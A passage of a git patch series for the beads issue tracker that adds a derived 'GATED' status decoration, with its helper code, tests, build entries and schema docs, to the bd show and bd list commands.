OK/N/A since the path is not a git repository. Status alone + // cannot separate that from an ambient role leaking in: "Configured as + // maintainer" is StatusOK too, so the message is the discriminating claim. if check.Status != StatusOK { t.Errorf("expected status %s, got %s", StatusOK, check.Status) } + if check.Message != "N/A (not a git repository)" { + t.Errorf("expected message 'N/A (not a git repository)', got %q", check.Message) + } } func TestCheckBeadsRoleIgnoresInheritedRouting(t *testing.T) { From c3a97e172d48b693744ae2b63f54244384f0eff4 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 10:37:51 +0000 Subject: [PATCH 174/325] show/list: render a derived GATED decoration when an open gate holds the bead (#6606) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * wy-j2upyy: render the derived GATED decoration on bd show and bd list A bead an open gate blocks is excluded from `bd ready` but rendered `[P2 · OPEN]` by `bd show` and with a plain ○ by `bd list`, so the human surfaces disagreed with the readiness query. The decoration is DERIVED, never stored: no status write, no --status filter change, no existing JSON field reshaped. - internal/types/gated.go: IsActiveGate, the ONE predicate — a gate-typed dependency reached over a blocking edge (blocks / conditional-blocks / waits-for) whose status is neither closed nor pinned. That is the is_blocked recompute's blocking leg restricted to gates, so a rendered GATED and a `bd ready` exclusion cannot disagree. GateDescription / GateReason own the reason's round trip with `bd gate create`. - bd show: `[P2 · OPEN · GATED]` plus one `Gated by: ([: ][, awaiting ])` line per gate, beside Deferred:. The dependency read the DEPENDS ON section already made is hoisted, so the decoration costs no extra query. - bd list: ⊘ in the glyph column (circle family, distinct from ○ and ❄), and a legend entry when the page carries one. Batched by id set — at most two extra queries per listing, one in the tree view where the edge map is already loaded. - --json: additive `gated_by: [{id,type,reason}]` on the detail view, omitted when empty; documented in the OpenAPI IssueDetails schema. Tests (red first): cmd/bd/gated_render_embedded_test.go drives real bd show/list/--json over an embedded rig — gated, resolved, deferred+gated, JSON additivity — plus pure unit tests for the predicate and formatters. Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: document the additive gated_by field in the JSON schema reference Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: cover the flat list route's own batched gate read Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: make GATED the readiness rule's gate clause, both halves The adversarial review found the "one predicate shared with bd ready" claim false on two axes, and both were reproducible by hand: BLOCKER 1 — waits-for is not the status rule. The is_blocked recompute applies "target not closed and not pinned" only to its blocks / conditional-blocks legs; the waits-for leg goes through waitsForGateBlockedSQL, a fanout over the target's open parent-child children (or an also_blocks spawner). A plain `bd dep add X G -t waits-for` onto an open childless gate therefore leaves X in `bd ready` while every new surface called it GATED. Mirroring that leg in Go would be a second implementation of a rule the database owns, so the edge clause now names the two legs it really mirrors (types.IsGateEdge) and the test that pinned the wrong direction is flipped. BLOCKER 2 — the subject half was missing and spelled three different ways. unmarkAllBlockedSQL forces is_blocked=0 for a closed or pinned subject whatever its edges say, so `bd ready` never withholds one on a gate's account; show and workapi filtered nothing, cmd/bd/gated.go filtered closed only, and list_format.go filtered closed at two more sites. A force-closed bead rendered [CLOSED · GATED] with gated_by on show while list showed a plain row — show and list disagreeing about one bead, which is the drift this was meant to prevent. The clause is now types.SubjectCanBeGated, asked once in types.GatesHolding (which replaces ActiveGates and takes the subject) and once in the listing helper that has no hydrated deps; the formatters re-ask the SAME exported predicate rather than inventing a fourth spelling. SHOULD 3 — agent mode computed the gate reads and threw them away, in every CLAUDE_CODE seat, i.e. the population that filed the bug. Decorating it is the real fix, so gatesByIssueID now returns the gate IDS and formatAgentIssue carries "gated by: " in the parenthetical it already prints. A gate is also a blocker, so its id appears under both "blocked by" and "gated by": the first says what to wait on, the second says which of those nobody can clear by doing more work. --long and --format render no gate and no longer pay for the reads. NOTE 5 — a pinned+gated row kept ⊘ instead of 📌; with the subject clause a pinned bead is not gated at all, so the pin survives by construction. NOTE 6 — the cost comments claimed "two queries" / "exactly ONE"; the id-set readers are a few round trips each. The bound that is real (per page, never per row) is what the comments now say. Tests, red-first: the flipped waits-for case; TestGatesHoldingSubjectStatus and TestSubjectCanBeGated (open/in_progress/deferred yes, closed/pinned/nil no); TestFormatIssueCompactGated and TestFormatAgentIssueGated; and four embedded arms — a waits-for edge that bd ready lists and no surface decorates, a force-closed subject and a pinned subject that render nothing and publish no gated_by, and the agent line naming its gate. Each was watched to fail against the pre-fix predicate before it passed. Ran: go test ./internal/types/ -run 'TestGateIsHolding|TestGatesHolding| TestSubjectCanBeGated|TestGateDescriptionRoundTrip|TestGateRefsProjection'; go test ./cmd/bd/ -run 'TestFormat*Gated|TestFormatIssueCompact*| TestFormatDependencyInfoWithParent|TestListRoles*|TestDisplayPrettyList*'; BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd/ -run TestEmbeddedGatedRendering (11/11 subtests); gofmt -l (empty), go vet and golangci-lint on cmd/bd, internal/types, internal/ui, internal/workapi; scripts/ci/pr-policy.sh. Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: render GATED on the proxied `bd show` text route SHOULD 4 of the review, and required for this rig: the constellation runs proxied-server, where `bd show --json` already carried gated_by (uow issue_reader -> workapi.BuildIssueDetails) while the TEXT renderer called the plain formatters. The same bead read two ways from the same server disagreed. proxiedRenderIssue now hoists the outgoing-edge read it already did for the DEPENDS ON section above the header — the gates are the gate-typed subset of that very set, so the decoration costs no extra query — and passes them to formatIssueHeaderWithGates / formatIssueMetadataWithGates. The proxied LIST routes were wired in the previous commit. TestProxiedServerGatedRendering covers all five text surfaces plus the JSON one beside them (header + Gated by line, pretty glyph, compact glyph + "gated by", agent line, and a closed subject that renders nothing). Watched red first with the proxied decoration stubbed out: four of six subtests failed, and the --json arm passed, which is exactly the asymmetry the review reported. Ran: BEADS_TEST_PROXIED_SERVER=1 go test ./cmd/bd/ -run TestProxiedServerGatedRendering -count=1 (6/6, 37.8s). Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: put cmd/bd/state.go on the shared "Reason:" marker NOTE 7 of the review: types' gateReasonMarker was not gate-private — cmd/bd/state.go wrote the same "\n\nReason: " into state-change EVENT descriptions from its own literal. No live collision (events are not gate-typed), but the constant's doc claimed GateReason returns "" for every gate not made by `bd gate create`, and that is false for any description carrying the marker. The previous commit exported the constant as types.ReasonMarker, reworded GateReason to say what the pair really guarantees (a round trip, not a provenance check) and pinned the honest behavior in TestGateDescriptionRoundTrip. This commit is the second writer: state.go now builds its event description from the same constant, so the two cannot drift apart by accident. Ran: go build ./...; go test ./internal/types/ -run TestGateDescriptionRoundTrip -count=1; gofmt -l cmd/bd/state.go (empty); go vet ./cmd/bd/. Co-Authored-By: Claude Opus 5 (1M context) * wy-j2upyy: alias types.GateRef in package backend gated_by on IssueDetails makes GateRef reachable from the public backend contract; TestPublicSurfaceComplete requires every such type to carry an alias here. Co-Authored-By: Claude Fable 5.1 * wy-j2upyy: build(bazel): register gated.go and its tests in cmd/bd and internal/types The rebase onto e766da5ed carried the new source files but not their BUILD.bazel entries, so every Bazel lane failed to compile internal/types (undefined: GateRef). This is CI's own bazel-sync patch for 9ad7eb96c3, applied unchanged. Co-Authored-By: Claude Fable 5.1 * wy-j2upyy: compute gated_by AFTER the dependencies read in BuildIssueDetails The be-lpi merge (#6352) moved src.Dependencies() below the cardinality counts so the unresolvable-edge delta reads count-first. That hunk merged cleanly, which left details.GatedBy computed on the still-nil slice, and both CI shards' show_json…carries_gated_by subtests went red (PR Risk Embedded Dolt Cmd 20/20, Proxied Dolt Cmd 4/15 at d21237f3dc). Move the GatedBy line to directly after details.Dependencies = deps, still before the BriefDeps trim that rewrites the slice, and pin the ordering with a workapi unit test over both DetailSource seams and BriefDeps on/off (red on the pre-fix code, green after). Ran: go test ./internal/workapi; go vet ./internal/workapi; BEADS_TEST_EMBEDDED_DOLT=1 go test ./cmd/bd -run TestEmbeddedGatedRendering; BEADS_TEST_PROXIED_SERVER=1 go test ./cmd/bd -run TestProxiedServerGatedRendering. Co-Authored-By: Claude Fable 5.1 * ci: register #6606's gated-rendering tests and gated_by wire shape with main's generated gates Maintainer fixup for adopt-pr #6606. The adopted head merges the PR head (c43eb567d2) into main (800d43eb8d). The PR's merge-base (02f05340f6) predates three generated artifacts on main that every PR adding a cmd/bd tier test or a wire member has to keep current, so the merged tree is red on them even though the PR's own CI cannot see them: - .github/scripts/embedded-cmd-test-shards.txt: the Bazel-only 50-shard block must name every TestEmbedded* test exactly once, or TestCmdEmbeddedShardManifestGeneratorNotStale fails `go test ./scripts/`. `gen_embedded_cmd_shard_manifest.py 50 --weights=duration --write` (incremental) placed TestEmbeddedGatedRendering on shard 16 and moved no existing assignment; the frozen 20-shard block is untouched. - .github/scripts/proxied-cmd-test-shards.txt: likewise for the 30-shard block and TestProxiedServerGatedRendering (shard 2), via `gen_proxied_shard_manifest.py 30 --weights=duration --write`, so TestProxiedShardManifestGeneratorNotStale passes. - internal/httpapi/wireshape/testdata/golden.json: TestWireShapeDigest (#7182) pins every response member. `go run ./internal/httpapi/wireshape/cmd/gendigest` recorded the PR's new IssueDetails.gated_by array and its id/type/reason members as four pure additions (+25/-0), so no wire_revision bump is owed. The PR's own files are unchanged. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * docs(gated): state gated_by one way, mark --watch as undecorated, fix stale refs Review follow-ups for #6606. Comment and doc text only; no behavior change. - gated_by is now documented in one direction. internal/types/types.go, internal/types/gated.go and docs/reference/json-schema.md said the list is nonempty EXACTLY when `bd ready` withholds the issue on a gate's account. Only one direction holds: the is_blocked recompute also blocks a child whose parent is blocked (its parent-child legs), so a child of a gated parent leaves `bd ready` with an empty gated_by. All three now say "nonempty means withheld", as the OpenAPI text already did, and name the parent-child case. - bd list --watch passes a nil gated map on both routes (runListProxiedWatch, displayWatchedIssueList), so a bead the one-shot listing marks with the gated glyph keeps its plain status glyph while watched. Watch is out of this PR's scope; the three call sites now say so instead of reading as a forgotten argument. - show_format.go named types.ActiveGates, which does not exist; the predicate is types.GatesHolding. - gated.go's best-effort note compared the gate read with `bd list`'s blocking annotation, which only the direct route swallows. It now scopes that comparison to the direct route and names the proxied route's failing read (A-blk-1). - proxiedGatedIssueIDsOwnUOW now notes that its unit of work is a second snapshot, so one render can name a just-resolved gate under "blocked by:" but not "gated by:". Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 * fix(list): hydrate proxied gate candidates from both planes (bd-p8k7dm) The proxied list resolved gate candidates through the use case's GetIssuesByIDs, which reads the issues table only, while the edges it resolved came from GetForIssueIDs, which reads both dependency tables. A wisp gate (`bd mol wisp` clones a formula's gates as wisps, held to a wisp step by a blocks edge) therefore hydrated to nothing. Its step listed undecorated in pretty, --flat and agent output while `bd show`, `--json` and `bd ready` called it gated. Read the wisps beside the issues, the two-plane idiom ready_proxied_server.go and uowMolReader already use. A failed wisps read keeps the durable candidates. Correct the cost-bound comment that claimed the id-set readers partition the planes on both routes. Tests: a wisp-step + wisp-gate case in TestProxiedServerGatedRendering and TestEmbeddedGatedRendering asserts the pretty, --flat and CLAUDE_CODE=1 rows of `bd list --include-ephemeral`, and TestProxiedGatedIssueIDsHydratesBothPlanes pins both planes plus the failed-wisps-read fallback. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Gas City Adopt-PR Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + backend/types.go | 1 + cmd/bd/BUILD.bazel | 5 + cmd/bd/gate.go | 8 +- cmd/bd/gated.go | 208 +++++++++++ cmd/bd/gated_format_test.go | 171 +++++++++ cmd/bd/gated_render_embedded_test.go | 351 ++++++++++++++++++ .../gated_render_proxied_integration_test.go | 166 +++++++++ cmd/bd/gated_test.go | 77 ++++ cmd/bd/list.go | 21 +- cmd/bd/list_footer_counts_test.go | 2 +- cmd/bd/list_format.go | 58 ++- cmd/bd/list_helpers_test.go | 8 +- cmd/bd/list_proxied_server.go | 27 +- cmd/bd/list_roles_test.go | 4 +- cmd/bd/list_show_filter_modes.go | 7 +- cmd/bd/list_test.go | 33 +- cmd/bd/list_tree.go | 34 +- cmd/bd/list_tree_cycle_test.go | 6 +- cmd/bd/show.go | 28 +- cmd/bd/show_format.go | 55 ++- cmd/bd/show_proxied_server.go | 28 +- cmd/bd/state.go | 5 +- docs/reference/json-schema.md | 13 + internal/httpapi/spec/openapi.v0.yaml | 28 ++ .../httpapi/wireshape/testdata/golden.json | 25 ++ internal/types/BUILD.bazel | 2 + internal/types/gated.go | 185 +++++++++ internal/types/gated_test.go | 163 ++++++++ internal/types/types.go | 13 + internal/ui/styles.go | 7 + internal/workapi/detail.go | 10 + internal/workapi/detail_test.go | 55 +++ 34 files changed, 1730 insertions(+), 76 deletions(-) create mode 100644 cmd/bd/gated.go create mode 100644 cmd/bd/gated_format_test.go create mode 100644 cmd/bd/gated_render_embedded_test.go create mode 100644 cmd/bd/gated_render_proxied_integration_test.go create mode 100644 cmd/bd/gated_test.go create mode 100644 internal/types/gated.go create mode 100644 internal/types/gated_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 6b4d1dfd0..b1c7b0e8c 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -293,6 +293,7 @@ 50 16 TestEmbeddedBlockedLabelFilters 50 16 TestEmbeddedGCConditionalMatcherDecode 50 16 TestEmbeddedGateInheritsDownParentChain +50 16 TestEmbeddedGatedRendering 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady 50 16 TestEmbeddedMemoryCorpusBudget diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index b6f95b315..b51c393b8 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -434,6 +434,7 @@ 30 26 TestProxiedServerFindDuplicates 30 26 TestProxiedServerGateCheck 30 26 TestProxiedServerGateFrontDoorDirectServerProxyParity +30 26 TestProxiedServerGatedRendering 30 26 TestProxiedServerServeAddComment 30 26 TestProxiedServerServeSettingsWrites 30 26 TestProxiedServerState diff --git a/backend/types.go b/backend/types.go index 65e2590aa..bf3fde0ab 100644 --- a/backend/types.go +++ b/backend/types.go @@ -22,6 +22,7 @@ type ( EpicStatus = types.EpicStatus Event = types.Event EventType = types.EventType + GateRef = types.GateRef Issue = types.Issue IssueDetails = types.IssueDetails IssueFilter = types.IssueFilter diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 043175545..8f5ea468f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -138,6 +138,7 @@ go_library( "gate.go", "gate_discover.go", "gate_proxied_server.go", + "gated.go", "gc.go", "gc_proxied_server.go", "gc_prune.go", @@ -778,6 +779,10 @@ go_test( "gate_lifecycle_proxied_integration_test.go", "gate_routing_test.go", "gate_test.go", + "gated_format_test.go", + "gated_render_embedded_test.go", + "gated_render_proxied_integration_test.go", + "gated_test.go", "gc_embedded_test.go", "gc_prune_test.go", "git_repo_template_test.go", diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index f7c429d08..ff1eb65a5 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -423,10 +423,10 @@ func buildGateIssue(in gateCreateInput, targetID string) *types.Issue { title = in.titleFlag } - desc := fmt.Sprintf("Ad-hoc gate blocking %s", targetID) - if in.reason != "" { - desc = fmt.Sprintf("%s\n\nReason: %s", desc, in.reason) - } + // types owns the description format because it also owns the read back + // out of it (types.GateReason), which is what puts the reason on + // `bd show`'s "Gated by:" line and in the detail view's gated_by. + desc := types.GateDescription(targetID, in.reason) return &types.Issue{ Title: title, diff --git a/cmd/bd/gated.go b/cmd/bd/gated.go new file mode 100644 index 000000000..3051d0c3f --- /dev/null +++ b/cmd/bd/gated.go @@ -0,0 +1,208 @@ +package main + +import ( + "context" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" +) + +// gateDepLoader reads the dependency records of a page of ids. +type gateDepLoader func(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) + +// gateHydrator resolves the gate CANDIDATES a page's edges name into issues, +// from BOTH planes: a gate can be a wisp (`bd mol wisp` clones a formula's +// gates as wisps), and a candidate the hydrator misses is no error but a nil +// target, which GateIsHolding reads as no gate — the row goes undecorated +// while `bd show` and `bd ready` call the bead gated. +type gateHydrator func(ctx context.Context, ids []string) ([]*types.Issue, error) + +// gatesByIssueID returns, per listed id, the OPEN gates holding it back — the +// ids themselves, so a row can name the gate rather than only admit one exists. +// An issue with no live gate is absent from the map. +// +// BATCHED BY ID SET, never per row: the dependency rows for the whole page come +// back in one call (or from the map a tree view has already loaded), and the +// gate candidates they name are hydrated in one more. The COST BOUND is per +// page, not per row — two calls whatever the page length — though each of those +// calls is itself a few round trips (each reads the issues and the wisps plane +// separately and batches its INs), so "two queries" understates the wire +// traffic and "per page" is the promise that matters. +// +// The verdict is types.GateIsHolding plus types.SubjectCanBeGated — the one +// predicate `bd show`, the detail view and the readiness query's is_blocked +// column all share — so a glyph here and a GATED header there cannot say +// different things about the same bead. +// +// Best effort: a read that fails yields no decoration rather than failing the +// listing, on both routes. That matches how the direct `bd list` route treats +// its blocking annotation; the proxied route instead FAILS on that +// annotation's read (A-blk-1), a split this helper leaves alone. +func gatesByIssueID( + ctx context.Context, + issues []*types.Issue, + preloadedDeps map[string][]*types.Dependency, + loadDeps gateDepLoader, + hydrate gateHydrator, +) map[string][]string { + if len(issues) == 0 || hydrate == nil { + return nil + } + + // The SUBJECT clause, asked once here so no formatter has to re-ask it: a + // closed or pinned bead is out of `bd ready` for its own reasons and is + // never decorated, so it does not even join the dependency read. + ids := make([]string, 0, len(issues)) + for _, issue := range issues { + if !types.SubjectCanBeGated(issue) { + continue + } + ids = append(ids, issue.ID) + } + if len(ids) == 0 { + return nil + } + + depsByIssue := preloadedDeps + if depsByIssue == nil { + if loadDeps == nil { + return nil + } + var err error + depsByIssue, err = loadDeps(ctx, ids) + if err != nil { + return nil + } + } + + // Candidate targets: the gate-rule edges of the ids on this page. A gate + // reached over any other edge (waits-for, parent-child, relates-to) does + // not hold anything back by the status rule, and the predicate would + // reject it anyway; skipping it here keeps the hydration batch small. + var targetIDs []string + seen := make(map[string]bool) + for _, id := range ids { + for _, dep := range depsByIssue[id] { + if dep == nil || !types.IsGateEdge(dep.Type) || seen[dep.DependsOnID] { + continue + } + seen[dep.DependsOnID] = true + targetIDs = append(targetIDs, dep.DependsOnID) + } + } + if len(targetIDs) == 0 { + return nil + } + + targets, err := hydrate(ctx, targetIDs) + if err != nil { + return nil + } + targetByID := make(map[string]*types.Issue, len(targets)) + for _, target := range targets { + if target != nil { + targetByID[target.ID] = target + } + } + + gated := make(map[string][]string) + for _, id := range ids { + for _, dep := range depsByIssue[id] { + if dep == nil { + continue + } + if types.GateIsHolding(dep.Type, targetByID[dep.DependsOnID]) { + gated[id] = append(gated[id], dep.DependsOnID) + } + } + } + if len(gated) == 0 { + return nil + } + return gated +} + +// gatedIssueIDs is gatesByIssueID on the direct (embedded / non-proxied) route. +func gatedIssueIDs( + ctx context.Context, + st storage.DoltStorage, + issues []*types.Issue, + preloadedDeps map[string][]*types.Dependency, +) map[string][]string { + if st == nil { + return nil + } + return gatesByIssueID(ctx, issues, preloadedDeps, + func(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) { + return st.GetDependencyRecordsForIssues(ctx, ids) + }, + func(ctx context.Context, ids []string) ([]*types.Issue, error) { + return st.GetIssuesByIDs(ctx, ids) + }) +} + +// proxiedGatedIssueIDs is gatesByIssueID on the proxied-server route, reading +// through a unit of work the caller already holds. The proxied --json routes +// get gated_by from workapi.BuildIssueDetails; this is what keeps the proxied +// TEXT routes from rendering a plain OPEN row for the same bead. +func proxiedGatedIssueIDs( + ctx context.Context, + uw uow.UnitOfWork, + issues []*types.Issue, + preloadedDeps map[string][]*types.Dependency, +) map[string][]string { + if uw == nil { + return nil + } + return gatesByIssueID(ctx, issues, preloadedDeps, + func(ctx context.Context, ids []string) (map[string][]*types.Dependency, error) { + return uw.DependencyUseCase().GetForIssueIDs(ctx, ids) + }, + func(ctx context.Context, ids []string) ([]*types.Issue, error) { + return proxiedGateCandidates(ctx, uw, ids) + }) +} + +// proxiedGateCandidates is the proxied gateHydrator. Unlike the direct route's +// st.GetIssuesByIDs, the use case's GetIssuesByIDs reads the issues table +// only, while the edges came from GetForIssueIDs, which reads both dependency +// tables — so the wisps are read beside it, the two-plane idiom +// ready_proxied_server.go and uowMolReader already use for ids that may be +// wisps. +// +// A failed wisps read keeps the durable candidates: it costs the wisp gates +// their decoration, not the whole page. +func proxiedGateCandidates(ctx context.Context, uw uow.UnitOfWork, ids []string) ([]*types.Issue, error) { + issues, err := uw.IssueUseCase().GetIssuesByIDs(ctx, ids) + if err != nil { + return nil, err + } + wisps, err := uw.IssueUseCase().GetWispsByIDs(ctx, ids) + if err != nil { + return issues, nil + } + return append(issues, wisps...), nil +} + +// proxiedGatedIssueIDsOwnUOW serves the proxied compact and agent listings, +// which reach their blocking annotation through a role rather than a unit of +// work and so hold none to lend. It opens one, reads, and closes it; a failure +// to open yields no decoration, because a listing that renders is worth more +// than one that refuses over a glyph. +// +// Its unit of work is a second snapshot, read after the blocking annotation's: +// a gate resolved between the two can leave one render naming the gate under +// "blocked by:" but not "gated by:", or the reverse. Cosmetic, and gone on the +// next call. +func proxiedGatedIssueIDsOwnUOW(ctx context.Context, issues []*types.Issue) map[string][]string { + if len(issues) == 0 { + return nil + } + uw, err := openProxiedListUOW(ctx) + if err != nil { + return nil + } + defer uw.Close(ctx) + return proxiedGatedIssueIDs(ctx, uw, issues, nil) +} diff --git a/cmd/bd/gated_format_test.go b/cmd/bd/gated_format_test.go new file mode 100644 index 000000000..2a6e6599a --- /dev/null +++ b/cmd/bd/gated_format_test.go @@ -0,0 +1,171 @@ +package main + +import ( + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" +) + +func openGate(id, awaitType, reason, awaitID string) *types.Issue { + return &types.Issue{ + ID: id, + IssueType: types.TypeGate, + Status: types.StatusOpen, + AwaitType: awaitType, + AwaitID: awaitID, + Description: types.GateDescription("bd-target", reason), + } +} + +func TestFormatIssueHeaderGatedMarker(t *testing.T) { + issue := &types.Issue{ID: "bd-target", Title: "Ship it", Status: types.StatusOpen, Priority: 2} + + plain := formatIssueHeaderWithGates(issue, nil) + if !strings.Contains(plain, "[P2 · OPEN]") { + t.Errorf("ungated header = %q, want the untouched [P2 · OPEN]", plain) + } + if strings.Contains(plain, "GATED") { + t.Errorf("ungated header claims GATED: %q", plain) + } + if plain != formatIssueHeader(issue) { + t.Errorf("formatIssueHeader disagrees with the nil-gate call:\n%q\n%q", formatIssueHeader(issue), plain) + } + + gated := formatIssueHeaderWithGates(issue, []*types.Issue{openGate("bd-gate", "human", "", "")}) + if !strings.Contains(gated, "[P2 · OPEN · GATED]") { + t.Errorf("gated header = %q, want [P2 · OPEN · GATED]", gated) + } + if !strings.Contains(gated, "Ship it") { + t.Errorf("gated header lost the title: %q", gated) + } +} + +func TestFormatIssueMetadataGatedLines(t *testing.T) { + issue := &types.Issue{ID: "bd-target", Title: "Ship it", Status: types.StatusOpen, Priority: 2, CreatedBy: "bee"} + + if got := formatIssueMetadataWithGates(issue, nil); strings.Contains(got, "Gated by:") { + t.Errorf("ungated meta block mentions a gate: %q", got) + } + + gates := []*types.Issue{ + openGate("bd-g1", "human", "Need design review", ""), + openGate("bd-g2", "gh:pr", "", "42"), + openGate("bd-g3", "", "", ""), + } + out := formatIssueMetadataWithGates(issue, gates) + for _, want := range []string{ + "Gated by: bd-g1 (human: Need design review)", + "Gated by: bd-g2 (gh:pr, awaiting 42)", + "Gated by: bd-g3 (gate)", + } { + if !strings.Contains(out, want) { + t.Errorf("meta block missing %q:\n%s", want, out) + } + } + if n := strings.Count(out, "Gated by:"); n != 3 { + t.Errorf("meta block has %d Gated by lines, want one per gate", n) + } +} + +func TestFormatIssueMetadataGatedKeepsDeferredLine(t *testing.T) { + deferUntil := time.Date(2099, time.January, 15, 12, 0, 0, 0, time.Local) + issue := &types.Issue{ + ID: "bd-target", Title: "Later", Status: types.StatusDeferred, Priority: 1, + DeferUntil: &deferUntil, + } + out := formatIssueMetadataWithGates(issue, []*types.Issue{openGate("bd-g1", "human", "", "")}) + if !strings.Contains(out, "Deferred: 2099-01-15") { + t.Errorf("deferred+gated meta lost the Deferred line:\n%s", out) + } + if !strings.Contains(out, "Gated by: bd-g1") { + t.Errorf("deferred+gated meta lost the Gated by line:\n%s", out) + } +} + +func TestFormatPrettyIssueGatedGlyph(t *testing.T) { + gates := []string{"bd-gate"} + open := &types.Issue{ID: "bd-1", Title: "Open", Status: types.StatusOpen, Priority: 2} + if got := formatPrettyIssueGated(open, nil); !strings.HasPrefix(got, ui.StatusIconOpen) { + t.Errorf("ungated row = %q, want the open glyph", got) + } + if got := formatPrettyIssueGated(open, gates); !strings.HasPrefix(got, ui.StatusIconGated) { + t.Errorf("gated row = %q, want the gated glyph %q", got, ui.StatusIconGated) + } + + // The gated glyph outranks the deferred snowflake: one column, and the + // gate is the fact the row cannot otherwise show. + deferred := &types.Issue{ID: "bd-2", Title: "Later", Status: types.StatusDeferred, Priority: 2} + if got := formatPrettyIssueGated(deferred, gates); !strings.HasPrefix(got, ui.StatusIconGated) { + t.Errorf("deferred+gated row = %q, want the gated glyph", got) + } + if got := formatPrettyIssueGated(deferred, nil); !strings.HasPrefix(got, ui.StatusIconDeferred) { + t.Errorf("deferred row = %q, want the deferred glyph", got) + } + + // A closed issue is never decorated: `bd ready` withholds it on its own + // account, so a gate marker would claim a causation that is not there. + closed := &types.Issue{ID: "bd-3", Title: "Done", Status: types.StatusClosed, Priority: 2} + if got := formatPrettyIssueGated(closed, gates); strings.Contains(got, ui.StatusIconGated) { + t.Errorf("closed row carries the gated glyph: %q", got) + } + + // Nor is a PINNED one — and the pin survives, because the glyph never gets + // the chance to evict it (types.SubjectCanBeGated says no first). + pinned := &types.Issue{ID: "bd-4", Title: "Pinned", Status: types.StatusPinned, Priority: 2} + got := formatPrettyIssueGated(pinned, gates) + if strings.Contains(got, ui.StatusIconGated) { + t.Errorf("pinned row carries the gated glyph: %q", got) + } + if !strings.HasPrefix(got, ui.StatusIconPinned) { + t.Errorf("pinned+gated row = %q, want it to keep the pin %q", got, ui.StatusIconPinned) + } +} + +// TestFormatIssueCompactGated pins the compact row: the same glyph rule, plus +// the "gated by" clause that names the gate the glyph only hints at. +func TestFormatIssueCompactGated(t *testing.T) { + issue := &types.Issue{ID: "bd-1", Title: "Open", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + + var buf strings.Builder + formatIssueCompact(&buf, issue, nil, []string{"bd-gate"}, nil, "", []string{"bd-gate"}) + got := buf.String() + if !strings.Contains(got, ui.StatusIconGated) { + t.Errorf("gated compact row missing %q: %q", ui.StatusIconGated, got) + } + if !strings.Contains(got, "gated by: bd-gate") { + t.Errorf("gated compact row does not name the gate: %q", got) + } + + buf.Reset() + pinned := &types.Issue{ID: "bd-2", Title: "Pinned", Status: types.StatusPinned, Priority: 2, IssueType: types.TypeTask} + formatIssueCompact(&buf, pinned, nil, nil, nil, "", []string{"bd-gate"}) + if got := buf.String(); strings.Contains(got, ui.StatusIconGated) { + t.Errorf("pinned compact row carries the gated glyph: %q", got) + } +} + +// TestFormatAgentIssueGated is SHOULD-3: agent mode has no glyph column, and +// ui.IsAgentMode() is true in every CLAUDE_CODE seat — the population that +// cannot otherwise tell a gated row from a startable one. +func TestFormatAgentIssueGated(t *testing.T) { + issue := &types.Issue{ID: "bd-1", Title: "Gated work", Status: types.StatusOpen, Priority: 2} + + var buf strings.Builder + formatAgentIssue(&buf, issue, nil, nil, "", nil) + if got := buf.String(); got != "bd-1: Gated work\n" { + t.Errorf("ungated agent line = %q, want the untouched one-liner", got) + } + + buf.Reset() + formatAgentIssue(&buf, issue, []string{"bd-gate"}, nil, "", []string{"bd-gate"}) + got := buf.String() + if !strings.Contains(got, "gated by: bd-gate") { + t.Errorf("agent line does not name the gate: %q", got) + } + if !strings.Contains(got, "blocked by: bd-gate") { + t.Errorf("agent line lost its blocked-by clause: %q", got) + } +} diff --git a/cmd/bd/gated_render_embedded_test.go b/cmd/bd/gated_render_embedded_test.go new file mode 100644 index 000000000..f48224d6c --- /dev/null +++ b/cmd/bd/gated_render_embedded_test.go @@ -0,0 +1,351 @@ +//go:build cgo + +package main + +import ( + "os" + "os/exec" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/ui" +) + +// bdGateCreateIssue runs "bd gate create --json" and returns the gate issue. +func bdGateCreateIssue(t *testing.T, bd, dir string, args ...string) *types.Issue { + t.Helper() + fullArgs := append([]string{"gate", "create", "--json"}, args...) + out, err := bdRunWithFlockRetry(t, bd, dir, fullArgs...) + if err != nil { + t.Fatalf("bd gate create %s failed: %v\n%s", strings.Join(args, " "), err, out) + } + return parseIssueJSON(t, out) +} + +// bdListEnv is bdList with extra environment, for the agent-mode arm. +func bdListEnv(t *testing.T, bd, dir string, extraEnv []string, args ...string) string { + t.Helper() + cmd := exec.Command(bd, append([]string{"list"}, args...)...) + cmd.Dir = dir + cmd.Env = append(bdEnv(dir), 